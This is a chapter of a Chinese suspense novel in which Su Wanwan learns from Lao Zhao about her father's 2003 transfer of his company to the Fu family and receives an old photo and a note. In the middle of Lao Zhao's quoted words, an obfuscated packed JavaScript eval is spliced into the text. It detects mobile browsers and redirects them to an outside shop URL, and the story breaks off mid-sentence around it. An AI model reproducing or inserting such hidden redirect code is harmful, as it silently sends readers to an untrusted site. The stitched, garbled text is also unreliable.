文件从牛皮纸里滑出来，边缘卷曲得像一片枯叶。苏晚晚接住它，指尖碰到纸张的瞬间，一种干燥的、被时间吸干了水分的触感沿着指腹传上来。
“股权转让协议”——标题下方，甲方的名字写着“傅氏商贸有限公司”，乙方的名字是“苏氏实业有限责任公司”。
她翻到最后一页前，先从帆布包内袋里抽出那张辛巳年照片的复印件，看了一眼，又塞回去。动作很快，像在核对一个已经知道的答案。
转让方一栏的签名，是她父亲的名字。字迹工整，笔画之间有一种刻意的用力，像是写字的人当时正在极力保持某种姿态——笔迹鉴定书里那种“压力正常”的笔触。她认得这个签名，小时候父亲教她写字时说过，“晚晚，签名要稳重，一笔一画慢慢写，不要飘。”
苏晚晚的目光往上移，落在受让方一栏的名字上。
“傅衍之。”
她的拇指在那个名字上停了一下。
日期是2003年9月。她三岁。
“这份协议，当年是我亲手归档的。”老赵的声音从茶几对面传过来，不高，像一台老旧的收音机在播放一段录了很多年的磁带，“你爸签完字那天，我问他，‘苏哥，你确定？’他说，‘我确定。’”
“他为什么确定？”苏晚晚把文件放回茶几上，手指没有离开纸面。
老赵沉默了很久。他把大蒲扇放在膝盖上，低头看着自己的手——那双手的指节粗大，皮肤皱得像老树皮，指甲缝里嵌着一道洗不掉的黑线。他抬起手，用拇指和食指捏了捏鼻梁，然后放下手。
“你那会儿刚学会走路。你妈走了不到一年。”老赵说，“他说他不怕穷，但他怕你活不过十岁。”
苏晚晚的手指在纸面上收紧了一点。
“什么意思？”
老赵抬头看着她。窗外的光从窗帘缝隙里照进来，在他脸上投下一道明暗的分界线。“你妈留给你的那笔钱，被人盯上了。你爸不把公司转出去，那些人不会放过你。”他的声音像一块被压了很久的石头，“傅衍之的父亲当年在锦城地面上，能摆平这种事。”
苏晚晚把那份协议叠好，放进自己的包里。她站起来，看着老赵。
“赵叔，您这些年，有没有再见过傅衍之的父亲？”
老赵没有回答。他站起来，走到五斗柜前，拉开第二个抽屉，从里面拿出一个铁皮盒子——以前装茶叶的那种，表面已经生了锈。他打开盒子，从里面抽出一张照片，递过来。
是一张三个人合影的黑白照片，边角已经发白，中间有一道折痕。照片上有三个男人，都穿着老式的中山装，背景是一栋三层小楼，楼顶上挂着一块招牌——“锦城商会”。
中间那个男人，苏晚晚认得，是她父亲。他站在阳光下，笑得很舒展，跟苏晚晚记忆里那个总是面带病色的人不一样。左边那个人年纪稍长，方脸，戴一副黑框眼镜，表情严肃，像在参加一个非常重要的会议。右边那个人——苏晚晚的目光停住了。
右边那个男人年轻一些，约莫三十出头，瘦高，皮肤白，五官清秀，笑容斯文。他穿着一件白衬衫，袖口卷了两折，露出半截干净的手腕。
“这个人是谁？”苏晚晚问。
老赵看着她，目光里有一种极微小的变化——像某个被人关了太久的水龙头，突然被拧开了一点缝隙，一滴水珠沿着管壁滑落。
“你这次来找我，不是为了他吗？”
苏晚晚把照片翻过来。背面用钢笔写着一行小字，跟照片上的人名一一对应——“苏振华、傅世谦、赵永年。辛巳年春。”
傅世谦。傅衍之的父亲。
苏晚晚的指腹在“傅世谦”三个字上按了一下，然后抬眼。
“辛巳年，”她说，“跟我那张照片上的时间一样。”
老赵没有说话。他拿起茶缸喝了一口凉透的茶，嘴角沾了一片褐色的茶叶末。他用拇指把茶叶抿掉，然后把茶缸放回茶几上。
“你妈走的那一年，傅世谦来找过你爸。两个人在书房里关了一下午。你爸出来的时候，什么都没说，只让我去买一张去西川的火车票。”
苏晚晚站在茶几前，手指捏着照片的边缘。“他去西川见谁？”
“他没说，我也没问。”老赵站起来，走到门口，把门拉开一道缝，往外看了一眼，然后关上门，转回身，“但他走之前，留了一句话。”
“什么话？”
“‘如果傅家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741869|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人再找过来，让小晚晚记住——别信他们说的任何话，要看他们留下的东西。’”
苏晚晚的手停在半空中，捏着那张照片的一角。纸质的凉意从指尖渗透进去，沿着血管往上爬。
“他说的‘留下的东西’，是指什么？”
老赵没有回答。他走回五斗柜前，拉开最底层的抽屉，从里面拿出一个信封——不是牛皮纸的，是那种老式的白色信封，带蓝红色航空边线的那种，边角已经被折得很软了。他拿着那个信封，在手里攥了一下，然后递给她。
“你爸从西川回来之后，让我把这个存起来。他说，等小晚晚长大以后，如果她自己找到这里来了，再给她。”
苏晚晚接过信封。封口没有粘，只是折了一下，她用指甲轻轻挑开封口，从里面抽出一张纸——
是一张手写的字条，边缘已经磨得发毛，纸张泛着一种被反复折叠后形成的灰白色丝绒质感。字是用蓝色圆珠笔写的，笔迹潦草，像是在一个很着急的情况下写的，笔画歪歪扭扭的，有三处被涂改过。
“锦城市，青石镇，西街，赵永年收。如果我不回来，把这个交给苏晚晚。签字：傅世谦。”
苏晚晚看着那行字，看了很久。
“这张字条，是傅世谦写的？”
“是。你爸从西川回来后带回来的。”老赵说，声音像一面被风干的鼓皮，“他说傅世谦把这个留在一个地方，专门等你爸去拿。”
苏晚晚把字条折好，放回信封里，没有塞进包里。她握着那个信封，指腹压在纸张的折痕上，感觉到纸的边缘有一道极细的割手感。
“赵叔，我爸从西川回来之后，有没有再去找过傅世谦？”
老赵没有立刻回答。他把铁皮盒子盖好，放回五斗柜里，关上抽屉。抽屉合上时发出一声沉闷的木料撞击声。
“去了一次。”他说，“最后一次，是你爸入院之前的一个星期。他一个人去的。回来以后，他把他书房里所有的照片都烧掉了。”他顿了顿，抬起眼皮看着她，“你妈的照片除外。”
苏晚晚站起来，把那把旧黑伞从鞋柜旁抽出来，撑开。伞尖朝下，滴着路上带来的雨水，在水泥地上洇开一小片深色的湿迹。她没擦。